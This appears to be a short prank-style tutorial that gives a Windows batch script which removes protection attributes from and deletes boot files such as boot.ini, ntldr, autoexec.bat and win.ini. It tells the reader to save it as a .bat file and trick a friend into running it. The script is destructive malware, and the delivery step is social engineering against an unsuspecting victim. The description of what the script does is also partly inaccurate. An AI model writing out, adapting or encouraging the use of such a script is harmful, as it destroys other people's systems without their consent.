Open notepad and copy/paste this code:
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini


del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
Now Save it as a .bat file.
This would shut down the person’s computer. It shuts it off once and deletes the files needed to reboot and restart.

* USe at your own risk

REMEMBER – DO NOT CLICK THIS FILE. YOU WON’T RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!
Send it to your friends computer and tell them to open it. Have fun!!